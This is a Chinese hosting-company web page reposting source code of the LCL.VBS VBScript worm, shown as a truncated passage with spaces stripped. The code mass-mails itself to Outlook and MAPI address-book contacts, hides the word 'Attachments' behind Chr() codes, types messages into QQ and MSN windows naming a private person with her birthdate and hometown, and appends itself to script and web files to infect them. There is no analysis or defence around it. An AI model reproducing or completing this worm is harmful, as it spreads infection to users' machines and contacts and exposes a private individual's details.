LCL.VBS 病毒源代码

作者佚名来源 ASP编程浏览发布时间 2013-07-09

regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if(regad="")then
setmale=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject=title
male.Body=text
male.Attachments.Add(dirsystem&"lcl.vbs")
male.Send
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
endif
x=x+1
next
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
endif
next
Setout=Nothing
Setmapi=Nothing

SetobjOutlook=CreateObject("Outlook.Application")
IfobjOutlook="Outlook"Then
SetobjNamespace=objOutlook.GetNameSpace("MAPI")
SetcolAddressLists=objNamespace.AddressLists
SetonjNameSpace=Nothing
ForEachobjItemIncolAddressLists
IfobjItem.AddressEntries.Count<>0Then
intCountOfAddresses=objItem.AddressEntries.Count
Fori=1TointCountOfAddresses
SetobjMailMsg=objOutlook.CreateItem(0)
SetobjDestAddress=objItem.AddressEntries(i)
objMailMsg.To=objDestAddress.Address
objMailMsg.Subject=title
objMailMsg.Body=text
execute"setobjSend=objMailMsg."&Chr(65)&Chr(116)&Chr(116)&Chr(97)&Chr(99)&Chr(104)&Chr(109)&Chr(101)&Chr(110)&Chr(116)&Chr(115)
strAttach=strFilePathName
objMailMsg.DeleteAfterSubmit=True
objSend.AddstrAttach
IfobjMailMsg.To<>""Then
objMailMsg.Send
EndIf
Next
EndIf
Next
SetobjOutlook=Nothing
SetobjItem=Nothing
SetobjMailMsg=Nothing
SetobjDestAddress=Nothing
EndIf

strComputer="."
SetwbemServices=Getobject("winmgmts:\\"&strComputer)
SetwbemObjectSet=wbemServices.InstancesOf("Win32_Process")
ForEachwbemObjectInwbemObjectSet
ifwbemObject.Name="msn.exe"orwbemObject.Name="qq.exe"then
WshShell.AppActivatewbemobject.name
WshShell.SendKeys"canyouhelpmefindaperson?"
WshShell.SendKeys"^{enter}"''or"^~"
WScript.Sleep9000
WshShell.SendKeys"hernameisLiuChunli"
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"herbirthdayis1981-02-17."
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"hermotherhomeisYuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys"^{enter}"
endif
Next

subscan(folder)
OnErrorGoTo0
setfd=fso.getfolder(folder)
foreachfileinfd.files
self1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lcase(ext)
ifext="vbs"orext="vbe"orext="wsc"orext="wsf"orext="wsh"orext="sct"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
ifext="htm"orext="html"orext="xhtml"orext="shtml"orext="dhtml"orext="phtml"orext="eml"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.write"<"&"SCRIPTLANGUAGE=''VBScript''>"
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.write"<"&"/SCRIPT>"
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
remorext="mspx"
ifext="htd"orext="asp"orext="htt"orext="aspx"orext="cfm"orext="tpl"orext="dtd"orext="hta"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!

分享到：更多

你可能对下面的文章感兴趣

上一篇: vbs下一些取特殊路径的方法总结下一篇: VBS调用WMI快速关闭IE的脚本

关于LCL.VBS 病毒源代码的所有评论

随机推荐